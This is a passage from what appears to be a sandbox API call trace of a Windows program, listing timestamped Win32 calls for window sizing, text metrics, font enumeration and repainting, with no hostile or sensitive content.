GetSystemMetrics (nIndex=20) returned 17 [0261.457] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.457] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f718 | out: lptm=0x18f718) returned 1 [0261.457] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.457] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f750 | out: lptm=0x18f750) returned 1 [0261.457] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x640a01f1 [0261.457] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.457] GetSystemMetrics (nIndex=6) returned 1 [0261.457] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.457] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c84414, cbMultiByte=1, lpWideCharStr=0x2e1b0c, cchWideChar=1 | out: lpWideCharStr=" .\x0c") returned 1 [0261.457] DrawTextW (in: hdc=0x2a010b57, lpchText=" .\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" .\x0c", lprc=0x18f77c) returned 13 [0261.457] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.457] GetClientRect (in: hWnd=0x30338, lpRect=0x18f92c | out: lpRect=0x18f92c) returned 1 [0261.457] IsRectEmpty (lprc=0x18f92c) returned 0 [0261.457] IsIconic (hWnd=0x8024e) returned 0 [0261.457] SetWindowPos (hWnd=0x8024e, hWndInsertAfter=0x0, X=0, Y=0, cx=417, cy=237, uFlags=0x14) returned 1 [0261.457] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x46, wParam=0x0, lParam=0x18f848) returned 0x0 [0261.458] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x83, wParam=0x1, lParam=0x18f820) returned 0x0 [0261.458] IsWindowVisible (hWnd=0x8024e) returned 0 [0261.458] IsIconic (hWnd=0x8024e) returned 0 [0261.458] GetWindowRect (in: hWnd=0x8024e, lpRect=0x18f614 | out: lpRect=0x18f614) returned 1 [0261.458] GetWindowLongA (hWnd=0x8024e, nIndex=-16) returned 1174405120 [0261.458] GetWindowLongA (hWnd=0x8024e, nIndex=-8) returned 197432 [0261.458] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18f614 | out: lpPoint=0x18f614) returned 1 [0261.458] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18f61c | out: lpPoint=0x18f61c) returned 1 [0261.458] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x47, wParam=0x0, lParam=0x18f848) returned 0x0 [0261.458] IsIconic (hWnd=0x8024e) returned 0 [0261.458] GetWindowRect (in: hWnd=0x8024e, lpRect=0x18f258 | out: lpRect=0x18f258) returned 1 [0261.458] GetWindowLongA (hWnd=0x8024e, nIndex=-16) returned 1174405120 [0261.458] GetWindowLongA (hWnd=0x8024e, nIndex=-8) returned 197432 [0261.458] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18f258 | out: lpPoint=0x18f258) returned 1 [0261.458] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18f260 | out: lpPoint=0x18f260) returned 1 [0261.458] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0261.458] GetClientRect (in: hWnd=0x8024e, lpRect=0x18f284 | out: lpRect=0x18f284) returned 1 [0261.458] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.458] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8b480, cbMultiByte=1, lpWideCharStr=0x2c7b944, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.459] DrawTextW (in: hdc=0x2a010b57, lpchText=" :\x0c", cchText=1, lprc=0x18f840, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f840) returned 13 [0261.459] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.459] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.459] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8b638, cbMultiByte=1, lpWideCharStr=0x3a25d0, cchWideChar=1 | out: lpWideCharStr=" 9\x0c") returned 1 [0261.459] DrawTextW (in: hdc=0x2a010b57, lpchText=" 9\x0c", cchText=1, lprc=0x18f840, format=0x540 | out: lpchText=" 9\x0c", lprc=0x18f840) returned 13 [0261.459] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.459] GetClientRect (in: hWnd=0xa0168, lpRect=0x18f9e0 | out: lpRect=0x18f9e0) returned 1 [0261.459] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7ff7) returned 0x38050796 [0261.459] GetObjectA (in: h=0x38050796, c=24, pv=0x18f8f8 | out: pv=0x18f8f8) returned 24 [0261.459] DeleteObject (ho=0x38050796) returned 1 [0261.459] VirtualAlloc (lpAddress=0x2c8c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c8c000 [0261.460] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.460] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8c4dc, cbMultiByte=1, lpWideCharStr=0x39fcfc, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.460] DrawTextW (in: hdc=0x2a010b57, lpchText=" :\x0c", cchText=1, lprc=0x18f8f4, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f8f4) returned 13 [0261.460] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.460] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.460] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8c7c4, cbMultiByte=1, lpWideCharStr=0x39d55c, cchWideChar=1 | out: lpWideCharStr=" 9\x0c") returned 1 [0261.460] DrawTextW (in: hdc=0x2a010b57, lpchText=" 9\x0c", cchText=1, lprc=0x18f8f4, format=0x540 | out: lpchText=" 9\x0c", lprc=0x18f8f4) returned 13 [0261.460] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.460] GetClientRect (in: hWnd=0x50050, lpRect=0x18faa4 | out: lpRect=0x18faa4) returned 1 [0261.460] IsRectEmpty (lprc=0x18faa4) returned 0 [0261.460] IsIconic (hWnd=0xa0168) returned 0 [0261.460] SetWindowPos (hWnd=0xa0168, hWndInsertAfter=0x0, X=0, Y=0, cx=497, cy=313, uFlags=0x14) returned 1 [0261.460] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x46, wParam=0x0, lParam=0x18f9c0) returned 0x0 [0261.460] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x83, wParam=0x1, lParam=0x18f998) returned 0x0 [0261.461] IsWindowVisible (hWnd=0xa0168) returned 0 [0261.461] IsIconic (hWnd=0xa0168) returned 0 [0261.461] GetWindowRect (in: hWnd=0xa0168, lpRect=0x18f78c | out: lpRect=0x18f78c) returned 1 [0261.461] GetWindowLongA (hWnd=0xa0168, nIndex=-16) returned 1174405120 [0261.461] GetWindowLongA (hWnd=0xa0168, nIndex=-8) returned 327760 [0261.461] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18f78c | out: lpPoint=0x18f78c) returned 1 [0261.461] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18f794 | out: lpPoint=0x18f794) returned 1 [0261.461] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x47, wParam=0x0, lParam=0x18f9c0) returned 0x0 [0261.461] IsIconic (hWnd=0xa0168) returned 0 [0261.461] GetWindowRect (in: hWnd=0xa0168, lpRect=0x18f3d0 | out: lpRect=0x18f3d0) returned 1 [0261.461] GetWindowLongA (hWnd=0xa0168, nIndex=-16) returned 1174405120 [0261.461] GetWindowLongA (hWnd=0xa0168, nIndex=-8) returned 327760 [0261.461] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18f3d0 | out: lpPoint=0x18f3d0) returned 1 [0261.461] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18f3d8 | out: lpPoint=0x18f3d8) returned 1 [0261.461] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x5, wParam=0x0, lParam=0x13901f1) returned 0x0 [0261.461] GetClientRect (in: hWnd=0xa0168, lpRect=0x18f3fc | out: lpRect=0x18f3fc) returned 1 [0261.461] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.461] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8ccd4, cbMultiByte=1, lpWideCharStr=0x39fcfc, cchWideChar=1 | out: lpWideCharStr=" 9\x0c") returned 1 [0261.461] DrawTextW (in: hdc=0x2a010b57, lpchText=" 9\x0c", cchText=1, lprc=0x18fa6c, format=0x540 | out: lpchText=" 9\x0c", lprc=0x18fa6c) returned 13 [0261.461] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.461] SetWindowPos (hWnd=0xa0168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0261.461] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x46, wParam=0x0, lParam=0x18fa94) returned 0x0 [0261.462] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0261.462] GetClientRect (in: hWnd=0x50050, lpRect=0x18fadc | out: lpRect=0x18fadc) returned 1 [0261.462] IsRectEmpty (lprc=0x18fadc) returned 0 [0261.462] IsRectEmpty (lprc=0x18fadc) returned 0 [0261.462] GetClientRect (in: hWnd=0x30338, lpRect=0x18fadc | out: lpRect=0x18fadc) returned 1 [0261.462] IsRectEmpty (lprc=0x18fadc) returned 0 [0261.462] IsRectEmpty (lprc=0x18fadc) returned 0 [0261.462] IsIconic (hWnd=0xb0060) returned 0 [0261.462] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb70 | out: lpRect=0x18fb70) returned 1 [0261.462] IsIconic (hWnd=0xb0060) returned 0 [0261.462] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb68 | out: lpRect=0x18fb68) returned 1 [0261.462] IsIconic (hWnd=0xb0060) returned 0 [0261.462] SetWindowPos (hWnd=0xb0060, hWndInsertAfter=0x0, X=191, Y=139, cx=503, cy=240, uFlags=0x14) returned 1 [0261.462] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x46, wParam=0x0, lParam=0x18fabc) returned 0x0 [0261.462] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x1, lParam=0x18fa94) returned 0x0 [0261.462] IsWindowVisible (hWnd=0xb0060) returned 0 [0261.462] IsIconic (hWnd=0xb0060) returned 0 [0261.462] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18f870 | out: lpRect=0x18f870) returned 1 [0261.462] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.462] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x47, wParam=0x0, lParam=0x18fabc) returned 0x0 [0261.463] IsIconic (hWnd=0xb0060) returned 0 [0261.463] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18f46c | out: lpRect=0x18f46c) returned 1 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x5, wParam=0x0, lParam=0xd401f1) returned 0x0 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] IsIconic (hWnd=0xb0060) returned 0 [0261.463] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] IsIconic (hWnd=0xb0060) returned 0 [0261.463] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] IsIconic (hWnd=0xb0060) returned 0 [0261.463] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.463] IsIconic (hWnd=0xb0060) returned 0 [0261.463] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.463] SetScrollInfo (hwnd=0xb0060, nBar=1, lpsi=0x18f488, redraw=1) returned 0 [0261.463] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.464] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.464] IsIconic (hWnd=0xb0060) returned 0 [0261.464] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.465] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.465] IsIconic (hWnd=0xb0060) returned 0 [0261.465] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.465] SetScrollInfo (hwnd=0xb0060, nBar=0, lpsi=0x18f488, redraw=1) returned 0 [0261.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.466] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.466] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.466] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.466] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x1, lParam=0x18f6a0) returned 0x0 [0261.467] IsIconic (hWnd=0xb0060) returned 0 [0261.467] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb70 | out: lpRect=0x18fb70) returned 1 [0261.467] IsIconic (hWnd=0xb0060) returned 0 [0261.467] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb68 | out: lpRect=0x18fb68) returned 1 [0261.467] IsIconic (hWnd=0xb0060) returned 0 [0261.467] SetWindowPos (hWnd=0xb0060, hWndInsertAfter=0x0, X=191, Y=139, cx=503, cy=388, uFlags=0x14) returned 1 [0261.467] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x46, wParam=0x0, lParam=0x18fabc) returned 0x0 [0261.467] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x1, lParam=0x18fa94) returned 0x0 [0261.467] IsWindowVisible (hWnd=0xb0060) returned 0 [0261.467] IsIconic (hWnd=0xb0060) returned 0 [0261.467] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18f870 | out: lpRect=0x18f870) returned 1 [0261.467] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.467] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x47, wParam=0x0, lParam=0x18fabc) returned 0x0 [0261.467] IsIconic (hWnd=0xb0060) returned 0 [0261.467] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18f46c | out: lpRect=0x18f46c) returned 1 [0261.467] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.467] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x5, wParam=0x0, lParam=0x16801f1) returned 0x0 [0261.467] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.467] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.467] IsIconic (hWnd=0xb0060) returned 0 [0261.467] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.467] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.467] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.468] IsIconic (hWnd=0xb0060) returned 0 [0261.468] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.468] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.468] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.468] IsIconic (hWnd=0xb0060) returned 0 [0261.468] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.468] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.468] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.468] IsIconic (hWnd=0xb0060) returned 0 [0261.468] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.468] SetScrollInfo (hwnd=0xb0060, nBar=1, lpsi=0x18f488, redraw=1) returned 0 [0261.468] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.468] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.468] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.469] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.469] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.469] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.469] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.469] IsIconic (hWnd=0xb0060) returned 0 [0261.469] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.469] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.469] IsIconic (hWnd=0xb0060) returned 0 [0261.469] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f454 | out: lpRect=0x18f454) returned 1 [0261.469] SetScrollInfo (hwnd=0xb0060, nBar=0, lpsi=0x18f488, redraw=1) returned 0 [0261.470] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.470] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.470] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.470] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.470] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.471] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.471] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x1, lParam=0x18f6a0) returned 0x0 [0261.471] IsIconic (hWnd=0xb0060) returned 0 [0261.471] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb80 | out: lpRect=0x18fb80) returned 1 [0261.471] IsIconic (hWnd=0xb0060) returned 0 [0261.471] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb24 | out: lpRect=0x18fb24) returned 1 [0261.471] IsIconic (hWnd=0xb0060) returned 0 [0261.472] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb1c | out: lpRect=0x18fb1c) returned 1 [0261.472] FreeResource (hResData=0x4ae918) returned 0 [0261.472] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.472] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c85478, cbMultiByte=1, lpWideCharStr=0x3abfcc, cchWideChar=1 | out: lpWideCharStr="*9\x0c") returned 1 [0261.472] DrawTextW (in: hdc=0x2a010b57, lpchText="*9\x0c", cchText=1, lprc=0x18fd28, format=0xd40 | out: lpchText="*9\x0c", lprc=0x18fd28) returned 13 [0261.472] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.472] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.472] EnumFontsA (hdc=0x2a010b57, lpLogfont="Tahoma", lpProc=0x42e798, lParam=0x18fd77) returned 1 [0261.472] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.472] InvalidateRect (hWnd=0xb0060, lpRect=0x0, bErase=1) returned 1 [0261.472] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x30, wParam=0x290a06a6, lParam=0x0) returned 0x0 [0261.472] InvalidateRect (hWnd=0xb0060, lpRect=0x18fbec, bErase=1) returned 1 [0261.472] InvalidateRect (hWnd=0x50050, lpRect=0x0, bErase=1) returned 1 [0261.472] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x30, wParam=0x290a06a6, lParam=0x0) returned 0x0 [0261.472] InvalidateRect (hWnd=0xa0168, lpRect=0x0, bErase=1) returned 1 [0261.472] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x30, wParam=0x290a06a6, lParam=0x0) returned 0x0 [0261.472] InvalidateRect (hWnd=0xa0168, lpRect=0x18fa24, bErase=1) returned 1 [0261.472] InvalidateRect (hWnd=0x30338, lpRect=0x0, bErase=1) returned 1 [0261.472] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x30, wParam=0x290a06a6, lParam=0x0) returned 0x0 [0261.472] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7b8 | out: lptm=0x18f7b8) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7f0 | out: lptm=0x18f7f0) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0261.473] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.473] GetSystemMetrics (nIndex=6) returned 1 [0261.473] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7b8 | out: lptm=0x18f7b8) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7f0 | out: lptm=0x18f7f0) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0261.473] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.473] GetSystemMetrics (nIndex=6) returned 1 [0261.473] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7b8 | out: lptm=0x18f7b8) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7f0 | out: lptm=0x18f7f0) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0261.473] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.473] GetSystemMetrics (nIndex=6) returned 1 [0261.473] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7b8 | out: lptm=0x18f7b8) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7f0 | out: lptm=0x18f7f0) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0261.473] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.473] GetSystemMetrics (nIndex=6) returned 1 [0261.473] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7b8 | out: lptm=0x18f7b8) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7f0 | out: lptm=0x18f7f0) returned 1 [0261.473] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0261.473] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.473] GetSystemMetrics (nIndex=6) returned 1 [0261.473] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.473] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7b8 | out: lptm=0x18f7b8) returned 1 [0261.474] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.474] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18f7f0 | out: lptm=0x18f7f0) returned 1 [0261.474] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0261.474] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.474] GetSystemMetrics (nIndex=6) returned 1 [0261.474] InvalidateRect (hWnd=0x8024e, lpRect=0x0, bErase=1) returned 1 [0261.474] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x30, wParam=0x290a06a6, lParam=0x0) returned 0x0 [0261.474] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.474] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8cd1c, cbMultiByte=1, lpWideCharStr=0x39fa00, cchWideChar=1 | out: lpWideCharStr="*:\x0c") returned 1 [0261.474] DrawTextW (in: hdc=0x2a010b57, lpchText="*:\x0c", cchText=1, lprc=0x18fb84, format=0xd40 | out: lpchText="*:\x0c", lprc=0x18fb84) returned 13 [0261.474] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.474] IsIconic (hWnd=0xb0060) returned 0 [0261.474] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fb30 | out: lpRect=0x18fb30) returned 1 [0261.474] IsIconic (hWnd=0xb0060) returned 0 [0261.474] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fad4 | out: lpRect=0x18fad4) returned 1 [0261.474] IsIconic (hWnd=0xb0060) returned 0 [0261.474] GetClientRect (in: hWnd=0xb0060, lpRect=0x18facc | out: 